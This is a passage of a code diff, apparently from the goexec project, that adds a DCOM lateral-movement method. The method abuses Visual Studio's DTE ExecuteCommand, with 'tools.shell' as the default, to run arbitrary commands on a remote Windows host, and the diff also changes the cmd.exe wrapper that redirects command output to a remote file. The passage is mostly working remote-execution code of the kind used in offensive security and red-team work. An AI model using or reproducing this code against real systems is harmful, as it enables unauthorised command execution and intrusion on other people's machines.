return srv.COMVersion, nil
|
||||
}
|
||||
return cv, nil
|
||||
}
|
||||
|
||||
di, ok := ir.VarResult.VarUnion.GetValue().(*oaut.Dispatch)
|
||||
if !ok {
|
||||
return nil, fmt.Errorf("invalid dispatch object for %q", obj)
|
||||
// normalizeStringBindings removes the address/hostname from string bindings to prevent name resolution issues.
|
||||
func normalizeStringBindings(bindings []*dcom.StringBinding) (opts []dcerpc.Option) {
|
||||
for _, b := range bindings {
|
||||
if s, err := dcerpc.ParseStringBinding(b.String()); err == nil {
|
||||
s.NetworkAddress = ""
|
||||
opts = append(opts, dcerpc.WithEndpoint(s.String()))
|
||||
}
|
||||
id = di.InterfacePointer().GetStandardObjectReference().Std.IPID
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
// stringToVariant converts a string to a *oaut.Variant.
|
||||
func stringToVariant(s string) *oaut.Variant {
|
||||
return &oaut.Variant{
|
||||
Size: 5,
|
||||
|
||||
@@ -0,0 +1,69 @@
|
||||
package dcomexec
|
||||
|
||||
import "github.com/rs/zerolog"
|
||||
|
||||
/*
|
||||
See https://learn.microsoft.com/en-us/dotnet/api/envdte._dte.executecommand
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
"github.com/FalconOpsLLC/goexec/pkg/goexec"
|
||||
"github.com/oiweiwei/go-msrpc/midl/uuid"
|
||||
|
||||
_ "github.com/oiweiwei/go-msrpc/msrpc/erref/hresult"
|
||||
_ "github.com/oiweiwei/go-msrpc/msrpc/erref/ntstatus"
|
||||
_ "github.com/oiweiwei/go-msrpc/msrpc/erref/win32"
|
||||
)
|
||||
|
||||
const (
|
||||
MethodVisualStudioDTE = "VisualStudio.DTE:ExecuteCommand"
|
||||
VisualStudioDteUuid = "33ABD590-0400-4FEF-AF98-5F5A8A99CFC3"
|
||||
VisualStudioDte2019Uuid = "2E1517DA-87BF-4443-984A-D2BF18F5A908"
|
||||
)
|
||||
|
||||
type DcomVisualStudioDte struct {
|
||||
Dispatch
|
||||
// Is2019 indicates that the installation is Visual Studio 2019
|
||||
Is2019 bool
|
||||
// CommandName is the name of the DTE command to invoke
|
||||
CommandName string
|
||||
// CommandArgs are the arguments to pass to the command
|
||||
CommandArgs string
|
||||
}
|
||||
|
||||
func (m *DcomVisualStudioDte) Init(ctx context.Context) (err error) {
|
||||
if err = m.Dcom.Init(ctx); err == nil {
|
||||
if m.Is2019 {
|
||||
return m.getDispatch(ctx, uuid.MustParse(VisualStudioDte2019Uuid))
|
||||
}
|
||||
return m.getDispatch(ctx, uuid.MustParse(VisualStudioDteUuid))
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func (m *DcomVisualStudioDte) Execute(ctx context.Context, execIO *goexec.ExecutionIO) (err error) {
|
||||
log := zerolog.Ctx(ctx)
|
||||
dteCmd := m.CommandName
|
||||
dteArgs := m.CommandArgs
|
||||
if dteCmd == "" {
|
||||
dteCmd = "tools.shell"
|
||||
dteArgs = execIO.String()
|
||||
}
|
||||
defer func() {
|
||||
// Terminate devenv.exe
|
||||
q, err := m.callComMethod(ctx, nil, "Quit")
|
||||
if err != nil {
|
||||
log.Warn().Err(err).Msg("Call to Quit() failed")
|
||||
return
|
||||
}
|
||||
zerolog.Ctx(ctx).Info().Int32("return", q.Return).Msg("Quit called")
|
||||
}()
|
||||
log.Info().Str("command", dteCmd).Str("args", dteArgs).Msg("Executing DTE command")
|
||||
ir, err := m.callComMethod(ctx, nil, "ExecuteCommand", stringToVariant(dteArgs), stringToVariant(dteCmd))
|
||||
if err == nil {
|
||||
log.Info().Int32("return", ir.Return).Msg("ExecuteCommand called")
|
||||
}
|
||||
return
|
||||
}
|
||||
+34
-34
@@ -9,15 +9,15 @@ import (
|
||||
)
|
||||
|
||||
type OutputProvider interface {
|
||||
GetOutput(ctx context.Context, writer io.Writer) (err error)
|
||||
Clean(ctx context.Context) (err error)
|
||||
GetOutput(ctx context.Context, writer io.Writer) (err error)
|
||||
Clean(ctx context.Context) (err error)
|
||||
}
|
||||
|
||||
type ExecutionIO struct {
|
||||
Cleaner
|
||||
Cleaner
|
||||
|
||||
Input *ExecutionInput
|
||||
Output *ExecutionOutput
|
||||
Input *ExecutionInput
|
||||
Output *ExecutionOutput
|
||||
}
|
||||
|
||||
type ExecutionOutput struct {
|
||||
@@ -29,11 +29,11 @@ type ExecutionOutput struct {
|
||||
}
|
||||
|
||||
type ExecutionInput struct {
|
||||
StageFile io.ReadCloser
|
||||
Executable string
|
||||
ExecutablePath string
|
||||
Arguments string
|
||||
Command string
|
||||
StageFile io.ReadCloser
|
||||
Executable string
|
||||
ExecutablePath string
|
||||
Arguments string
|
||||
Command string
|
||||
}
|
||||
|
||||
func (execIO *ExecutionIO) GetOutput(ctx context.Context) (err error) {
|
||||
@@ -45,31 +45,31 @@ func (execIO *ExecutionIO) GetOutput(ctx context.Context) (err error) {
|
||||
}
|
||||
|
||||
func (execIO *ExecutionIO) Clean(ctx context.Context) (err error) {
|
||||
if execIO.Output.Provider != nil {
|
||||
return execIO.Output.Provider.Clean(ctx)
|
||||
}
|
||||
return nil
|
||||
if execIO.Output.Provider != nil {
|
||||
return execIO.Output.Provider.Clean(ctx)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (execIO *ExecutionIO) CommandLine() (cmd []string) {
|
||||
if execIO.Output.Provider != nil && execIO.Output.RemotePath != "" {
|
||||
return []string{
|
||||
`C:\Windows\System32\cmd.exe`,
|
||||
fmt.Sprintf(`/C %s > %s 2>&1`, execIO.Input.String(), execIO.Output.RemotePath),
|
||||
}
|
||||
}
|
||||
return execIO.Input.CommandLine()
|
||||
if execIO.Output.Provider != nil && execIO.Output.RemotePath != "" {
|
||||
return []string{
|
||||
`C:\Windows\System32\cmd.exe`,
|
||||
fmt.Sprintf(`/C%s >%s 2>&1`, execIO.Input.String(), execIO.Output.RemotePath),
|
||||
}
|
||||
}
|
||||
return execIO.Input.CommandLine()
|
||||
}
|
||||
|
||||
func (execIO *ExecutionIO) String() (str string) {
|
||||
cmd := execIO.CommandLine()
|
||||
// Ensure that executable paths are quoted
|
||||
if strings.Contains(cmd[0], " ") {
|
||||
str = fmt.Sprintf(`%q %s`, cmd[0], strings.Join(cmd[1:], " "))
|
||||
} else {
|
||||
str = strings.Join(cmd, " ")
|
||||
}
|
||||
return strings.Trim(str, " \t\n\r") // trim whitespace
|
||||
cmd := execIO.CommandLine()
|
||||
// Ensure that executable paths are quoted
|
||||
if strings.Contains(cmd[0], " ") {
|
||||
str = fmt.Sprintf(`%q %s`, cmd[0], strings.Join(cmd[1:], " "))
|
||||
} else {
|
||||
str = strings.Join(cmd, " ")
|
||||
}
|
||||
return strings.TrimSpace(str) // trim whitespace
|
||||
}
|
||||
|
||||
func (i *ExecutionInput) CommandLine() (cmd []string) {
|
||||
@@ -89,12 +89,12 @@ func (i *ExecutionInput) CommandLine() (cmd []string) {
|
||||
}
|
||||
|
||||
func (i *ExecutionInput) String() string {
|
||||
return strings.Join(i.CommandLine(), " ")
|
||||
return strings.TrimSpace(strings.Join(i.CommandLine(), " "))
|
||||
}
|
||||
|
||||
func (i *ExecutionInput) Reader() (reader io.Reader) {
|
||||
if i.StageFile != nil {
|
||||
return i.StageFile
|
||||
}
|
||||
return strings.NewReader(i.String())
|
||||
if i.StageFile != nil {
|
||||
return i.StageFile
|
||||
}
|
||||
return strings.NewReader(i.String())
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user